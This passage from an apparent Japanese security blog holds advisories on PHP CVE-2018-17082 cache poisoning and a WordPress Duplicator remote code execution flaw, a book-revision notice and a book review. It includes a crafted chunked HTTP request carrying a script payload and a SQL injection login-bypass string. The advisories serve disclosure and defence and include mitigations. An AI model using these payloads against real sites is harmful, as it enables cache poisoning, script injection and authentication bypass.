攻撃対象サイト(Target site)は、Apacheとmod_cacheによるキャッシュを備えています。
攻撃者(Attacker)は、仕掛けを含むリクエストを送ると、レスポンスにJavaScriptを含ませることができますが、その際のレスポンスがファイル等にキャッシュされます。一般利用者が、キャッシュの有効期間中に同じURLにアクセスすると、汚染されたレスポンスを受け取ることになります。
攻撃の様子をデモ動画として用意しました。以下は、mod_cahceを用いてWordPressを高速化をしているサイトを想定したものです。




CVE-2018-17082によるキャッシュ汚染(キャッシュサーバー編)

一方、リバースプロキシによるキャッシュサーバーでは影響がないようです。
その理由は、壊れたリクエストを送るとリバースプロキシの時点でエラーになり、リクエストがApacheまで届かないためです。
このパターンについて色々調べてみました。リバースプロキシではエラーにならないが、Apacheではエラーになるパターンがあれば、攻撃できる可能性があります。そのようなパターンとして以下を発見しました。
GET /31/31-001.php HTTP/1.1
Host: example.jp:88
User-Agent: Mozilla/5.0
Transfer-Encoding: chunked

5 <script>alert('Hacked')</script>
ABCDE
0

このリクエストは、nginxだと、リクエストボディの 5 の後に続く空白以降を無視するので、chunkedエンコーディングとしてバリッドとみなされ、エラーになりません。一方、Apacheだと空白以降を無視しないので、以下のようにエラーになります。
HTTP/1.1 400 Bad Request
Date: Mon, 24 Sep 2018 08:36:24 GMT
Server: Apache/2.4.25 (Debian)
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.25 (Debian) Server at example.jp Port 88</address>
</body></html>
5 <script>alert('Hacked')</script>
やったーと思いましたが、nginx経由でApacheにリクエストを送信すると、エラーになりません。どうも、nginxがApacheにリクエストを中継する際に、チャンク長 5の後の余計な文字列を除去しているように思います。ということで、nginx(他にもsquid、Apache+mod_proxy)によるプロキシサーバー経由では、攻撃を再現させることはできていません。

影響を受けるサイト

当脆弱性が再現するのは Apacheとの接続にApache2handlerを用いていて、以下のPHPバージョンを利用しているケースです。
  • PHP 5.5以前
  • PHP 5.6.37 以前
  • PHP 7.0.31 以前
  • PHP 7.1.21 以前
  • PHP 7.2.9 以前
ただし、Apache + mod_cahce によるキャッシュを用いている場合のみ攻撃経路が判明しています。したがって、mod_cacheによるキャッシュを用いているPHPサイトは至急のバージョンアップまたはパッチ適用を強く推奨します。
その他の場合でも、対象のPHPバージョンを使っている場合、早めの対応を推奨します。

各Linuxディストリビューションの対応

RHEL / CentOS / Debian / Ubuntuの主要Linuxディストリビューションのうち、本校執筆時点では Ubuntuのみが対応を完了しています。Ubuntu 14.04、Ubuntu 16.04、Ubuntu 18.04が対象です。その他のディストリビューションは未対応のようです。

対策

PHPの最新版(5.6以降)をインストールすることで対策となります。Ubuntuの標準パッケージのPHPを使っているサイトは、前述のように、最新のパッチを適用することでも対策になります。
PHPのバージョンアップやパッチ適用が当面できないという場合は、CGIあるいはFast CGIモードでPHPを動かすことでも対策になります。また、HTTPDとしてApacheの代わりにNginx等を用いることでも対策になります。


まとめ

PHP の脆弱性 CVE-2018-17082 について報告しました。
当該脆弱性はXSSとしての攻撃はできませんが、キャシュ汚染としての攻撃が可能であることを示しました。PHPスクリプトの中身によらず攻撃が可能なので、攻撃可能な条件に該当するサイトは即時の対応を推奨します。そうでなくても、該当バージョンのPHPをお使いのサイトは、早めのバージョンアップまたはパッチ適用を推奨します。


免責

このセキュリティ情報は予告なしに改訂される場合がある。このセキュリティ情報を適用した結果について徳丸浩およびEGセキュアソリューションズ株式会社は一切の責任を負わず、利用者の利益のために、あるがままの状態で公開するものである。

PR

【10月24日(水)・11月7日(水)】徳丸本によるホワイトハッカー入門 ~基礎講座・応用講座~ 開講 申し込み受付中

2018年9月10日月曜日

WordPressのプラグインDuplicator 1.2.40以前にリモートコード実行の脆弱性

エグゼクティブサマリ

WordPressの人気プラグイン Duplicator(1.2.40以前) にリモートから任意コード実行可能な脆弱性が発見された。Duplicator はWordPressサイトを複製することのできるプラグインであり、Duplicatorにより複製したサイト(複製先)が影響を受ける。このため、プラグインのアップデートだけでは対策にならない。詳細は対策の項を参照されたし。

概要

WordPressのプラグイン Duplicator はWordPressサイトを手軽に複製できるプラグインであり、サイトの移行や複製に広く用いられています。Duplicatorは複製元にプラグインとして導入して、移行用の二種類のファイルを生成します。

Duplicator → installer.php             インストーラー
               2018-xxxxxxxxxxxxxx.zip   アーカイブファイル

これらのファイル移行先サイトにアップロードして、installer.phpを実行することで、サイトの複製を作成します。
このinstaller.phpに脆弱性があり、任意コード実行を許す結果となります。

脆弱性の原因

脆弱性の概要は以下の記事(英文)にて紹介されています。ただし、即実行可能なPoCは含まれていません。

Duplicator Update Patches Remote Code Execution Flaw

※ 2018年9月10日 17:40追記 : この記事本文にはPoCはありませんが、リンク先(PDF)にて即実行可能なPoCが記載されています。ブックマークコメントにてご指摘いただきました。ありがとうございました。

この記事の内容から、当該脆弱性を再現したところ、リモートコード実行が確認できました。PoCが公開されていないこともあり、悪用防止のため、原因と攻撃の概要のみ説明すると、下記の通りです。
  • installer.phpはwp-config.php (WordPressの設定ファイル)を自動生成する
  • この生成部分にPHPコードのエスケープ漏れがあり、外部からの入力がPHPコードとして実行される

攻撃ステップは、以下の通り。
  1. 複製先サイトに installer.php が残っていることを確認する
  2. installer.phpを実行し、パラメータとしてPHPコードをインジェクションする
  3. 生成後の wp-config.php にアクセスし、任意コードを実行する
リモートコード実行例

対策

Duplicator 1.2.42 (現時点の最新バージョン)にて対策されています。即時のバージョンアップ(複製元、複製先の両方)を推奨しますが、対策はこれだけでは不十分です。
既に Duplicator で複製したサイト(複製先)は、installer.phpおよび installer-backup.php を即時削除する必要があります。このファイルに限らず、移行により生成されたファイルのうち、サイト閲覧に必要ないファイルは削除を推奨します。
複製先に脆弱な Duplicator で生成された installer.php が残っている限り、複製元でDuplicatorをバージョンアップしても、installer.phpに対する攻撃は受けるため、上記は重要です。
一般論としても、このようなセットアップ用のスクリプト類は、セットアップ完了後はただちに削除すべきですし、セットアップ中も外部からアクセスできないように、アクセス制御すべきです。

PR

【10月24日(水)・11月7日(水)】徳丸本によるホワイトハッカー入門 ~基礎講座・応用講座~ 開講 申し込み受付中

2018年3月6日火曜日

安全なWebアプリケーションの作り方改訂のお知らせ

徳丸本こと、「体系的に学ぶ 安全なWebアプリケーションの作り方」は、2011年3月の発売以降大変多くの方に読んでいただきました。ありがとうございます。
ただ、発売から既に7年が経過し、内容が古くなってきた感は否めません。たとえば、クリックジャッキングの説明はほとんどないですし、OWASP Top 10 2017で選入された安全でないデシリアライゼーションやXXEの説明もありません。なにより、Web APIやJavaScriptのセキュリティ等がほとんど書かれていないことが課題となっていました。

そこで、版元のSBクリエイティブと相談して、この度改訂することにいたしました。3月末脱稿、6月頃発売の見込みです。

改訂にあたり、以下を考えています。

  • Web APIとJavaScriptに関する説明を4章に追加
  • XHR2対応に向けてCORSの説明を3章に追加
  • 携帯電話の章は丸ごと削除して、別の内容に差し替え(お楽しみに)
  • OWASP Top 10 2017対応(安全でないデシリアライゼーション、XXEを追加)
  • Macに対応。VMwareからVirtualBOX、FiddlerからOWASP ZAPに変更
  • SQLインジェクションの説明はPostgreSQLからMySQLに変更
  • 全体的に細かい変更を予定
  • 100ページを上限としてページ数は増える見込み
  • CD-ROM/DVD-ROMは添付せずダウンロードになる
  • 今回はレビュアーの公募はしません

おそらく、「本を買ったばかりなのに」という方もおられるとは思いますが、タイミングの問題は避けられないことでご容赦いただきたいと思います。できるだけそのような思いをする人を少なくするために、版元の許可を得て早めの告知をさせていただきます。
一方で、版元は第1版の増刷はもうしないと思いますので、(あまりいないとは思いますが)第1版が欲しい方はお早目の入手をお勧めいたします。

2018年1月31日水曜日

[書評]サイバー攻撃 ネット世界の裏側で起きていること

中島明日香氏の近著『サイバー攻撃 ネット世界の裏側で起きていること』を読んだので紹介したい。本書は、一見すると入門者向けの初歩的なセキュリティ解説書の体裁をとっているが、その内部に著者の恐ろしい野望が秘められていると感じた。

重要事項説明

  • 著者と評者には特筆すべき利害関係はない
  • 評者は本書を自費で購入した(献本等ではない)
  • この記事のリンクにはアフィリエイトが含まれる

はじめに

本書は、ブルーバックスの1冊として、サイバーセキュリティの分野の、特に脆弱性について焦点をあて、入門的な解説を試みるものである。本書6ページから、「本書で扱う内容」の一節を引用しよう。
本書の目的は、適切なサイバー攻撃対策を講じる際の一助となることです。そこで、脆弱性そのものとそれを突く攻撃手法について、情報科学の知識を持たない人でも理解できるように、基本的なところから解説します。
この一節だけでも、本書の狙いが意欲的なものであることが分かる。情報科学の基礎知識のない人に対して、脆弱性の成り立ちを説明することがどんなに困難であるか、評者は身にしみて実感している。だが、私が驚いたのはここではなく、本書の目次である。目次を引用しよう。
第1章 サイバー攻撃で悪用される「脆弱性」とは何か
第2章 サイバー攻撃は防げるか:脆弱性の発見・管理・修正
第3章 プログラムの制御はいかにして乗っ取られるか:バッファオーバーフローの脆弱性
第4章 文字列の整形機能はいかにして攻撃に悪用されるか:書式指定文字列の脆弱性
第5章 いかにしてWebサイトに悪意あるコードが埋め込まれるか:クロスサイト・スクリプティングの脆弱性
第6章 機密情報はいかにして盗まれるか:SQLインジェクションの脆弱性
第7章 脆弱性と社会:脆弱性市場からサイバー戦争まで
第4章に注目いただきたい。何と「書式指定文字列の脆弱性」(CWE-134)が紹介されているではないか。よりによってマニアックな…ということもあるが、CWE-134を入門者向けに簡単なイラスト等で比喩的に説明するのは不可能ではないのか。著者はどうやってこれを説明するつもりなのか、評者の第一の興味はここにあった。

本書の構成

ここで本書の構成を概観しよう。
第1章では、脆弱性とは何かということで、「ソフトウェアとは何か」というところから話を起こしている。著者は脆弱性を「欠陥の中でとくに第三者が悪用可能なもの」と定義しており、これは評者の定義「脆弱性は悪用可能なバグ」とよく整合していて評者の満足度が少し高くなったw それはともかく、著者は、ソフトウェアの説明をその分類(ファームウェア、OS、ミドルウェア、アプリケーション)から丁寧かつ簡潔に始め、脆弱性が悪用されると何が怖いのか、なぜ脆弱性は生まれるのかというポイントを説明していく。
第2章は「サイバー攻撃は防げるか」として、脆弱性の歴史や、脆弱性情報共有のためのCVE、CVSS等の仕組み、脆弱性のライフサイクルやゼロデイ攻撃の説明、脆弱性の現状等を概観する。
第3章から第6章は、代表的な脆弱性として、バッファオーバーフロー、書式指定文字列の脆弱性、クロスサイト・スクリプティング、SQLインジェクションを取り上げ、詳しく説明していく。これらの章が本書の中核であろう。
第7章は、脆弱性と社会というテーマで、脆弱性にまつわる光と影のエコシステム(脆弱性報奨金・バグハンターや、脆弱性売買のブラックマーケット)の存在、サイバー戦争への言及と続き、最後は「いかにしてサイバー攻撃から身を守るか」で締められている。

本書の眼目は 3章から6章

前述のように、本書の眼目は、脆弱性というものを基本から解き明かす3章から6章にある。驚くべきことに、著者は、脆弱性を説明するに際して、比喩に逃げずに正面から脆弱性の成り立ちについて説明している。そのために、3章の冒頭は、簡素なC言語入門の様相を呈している。スタックオーバーフローについて理解するには、ソースコードをコンパイルして機械語にすること、関数や引数の概念、オートマチック変数を実現するスタックフレーム等の概念が必要になるが、著者は、プログラミングを知らない読者に向けて、これらを簡潔に説明していく。その上で、スタックベースのバッファオーバーフローの実際について、C言語ソース、アセンブリ言語のソース、機械語、図表等を交えながら丁寧に説明する。
バッファオーバーフローの実例として、著者はPHPの脆弱性 CVE-2011-1938 を取り上げているが、ここでも評者は驚くことになる。評者はかつて、この脆弱性をブログ記事で取り上げたことがあるからだ。

PHPのsocket_connect()関数における *つまらない* 脆弱性の話

当脆弱性を紹介した理由を著者は以下のように説明している。
本節で紹介したCVE-2011-1938の脆弱性は、ほとんど悪用される可能性はありません。なぜならば、攻撃者がsocket_connect関数の引数を指定できるケースはほとんどないためです。脆弱性の構造が単純で、初心者にもその仕組が把握しやすいため、この例を紹介しました。
実は評者も先のブログ記事で似たような説明をしているのだ。
memcpy関数でUNIXドメインソケットのソケット名をコピーしていますが、addr_lenのチェックをしていません。絵に描いたようなバッファオーバーフローですね…そもそもUNIXドメインのソケット名を外部から指定できるというシナリオが「あり得ない」状況です。UNIXドメインのソケット名を外部に公開する必要がなく、任意のソケット名を外部から指定できることによる脆弱性も考えられるからです。
さて、評者が本書を取り上げるきっかけになったのは何と言っても第4章の「書式指定文字列の脆弱性」である。著者はどのようにこの脆弱性を説明しているか。著者はまずprintf等の書式指定について説明を始め、書式指定子を外部から指定できることの問題点を詳細に説明している。書式指定子の指定によるバッファ書き換えの方法として、%n書式による悪用の実際を実に丁寧に、図やソースコードを交えて説明する。おそらく著者が一番書きたかったのはこの第4章なのだろう。
書式指定文字列の脆弱性としては、sudoの脆弱性 CVE-2012-0809 を取り上げ、脆弱なソースの紹介、脆弱性が混入した原因、修正後のソースの説明に至っている。ここの内容は評者も初めて知るもので興味深かった。

ここまで紹介した第3章と第4章はいわゆる「バイナリ」の分野だが、第5章と第6賞はウェブアプリケーションの脆弱性についてである。XSSやSQLインジェクションを説明するためには、脆弱性の説明の前に、HTTPやHTML、JavaScript、セッション、SQL等の要素技術を説明する必要がある。これだけで力尽きてしまいそうだが、著者はこれまで通り基礎事項の丁寧な説明を続ける。XSSとSQLインジェクションの基礎的な説明の後、悪用例として、XSSはセッションハイジャック、SQLインジェクションは認証回避とUNIONを用いた情報漏えいを紹介している。いずれも妥当な解説である。

著者の野望は果たされたか

冒頭で述べたように、著者は本書でプログラミングを知らない層向けに、脆弱性について詳しく説明を試みている。そのためにはプログラミングの知識が必要不可欠であるため、脆弱性の説明のために必要なプログラミングの知識から本書では説明が始まっている。実に野心的な試みと言わざるを得ない。
では、その著者の野心は成功しているのだろうか。これについて、評者は「分からない」と言うしかない。既に評者はプログラミングをある程度知っているので、プログラミングを知らない読者が本書を読んでどんな感想を持つかはわからないし、正直なところ、プログラミングをまったく知らない読者にとって、本書は難しいのではないかと思った。この点については、しかるべき読者の評を待ちたい。
ただし、本書は、プログラミングをある程度知っている読者にとっても極めて有益だ。なので、著者の狙いはともかくとして、本書の「現実の読者層」は、ある程度はプログラミングになじんでいるセキュリティ入門者なのではないかと思った。

ささいな指摘

いくつか軽微なミスを見つけたので報告しておこう。

・CVE-2011-1938が影響を受けるバージョンについて
本書P97にて、CVE-2011-1938は、「PHPのバージョン5.3.3~5.3.6に存在していました」と説明している。これは公式な説明がそうなので無理もないが、正しくは5.2.7~5.3.6である。詳しくは、前述の評者のブログ記事を参照されたし。

・SQLについて
「SQL(Structured Query Language)」はという説明があるが、ISO等の規格では、SQLは何かの略語ではないとされている(P172)。

・SQLインジェクションにおける認証回避の攻撃文字列
SQLインジェクションの攻撃例で、認証回避の文字列を以下のように説明しているが、
'OR'A'='A'
正しくは下記である(P181; 末尾のシングルクォーテーションが余計)
'OR'A'='A

まとめ

中島明日香氏の『サイバー攻撃 ネット世界の裏側で起きていること』を紹介した。プログラミングの知識のない層向けに脆弱性の本質を説明するという著者の試みはまことに野心的であり、評者はその野心と、野心の実現のための努力に敬意を表する。果たしてその野心が額面通りに実現されたかどうか、評者には判断できないが、少なくともプログラミングをある程度知る層に向けては、脆弱性についてのよい手引になると考える。



フォロワー

ブログ アーカイブ